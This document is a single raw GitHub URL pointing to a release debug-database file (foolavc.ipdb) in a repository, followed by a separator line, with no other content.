https://raw.githubusercontent.com/hvqzao/foolavc/629bf3e506c0cb6b7717a83026f8d48ddcf7de5f/x64/Release/foolavc.ipdb --------------------------------------------------------------------------------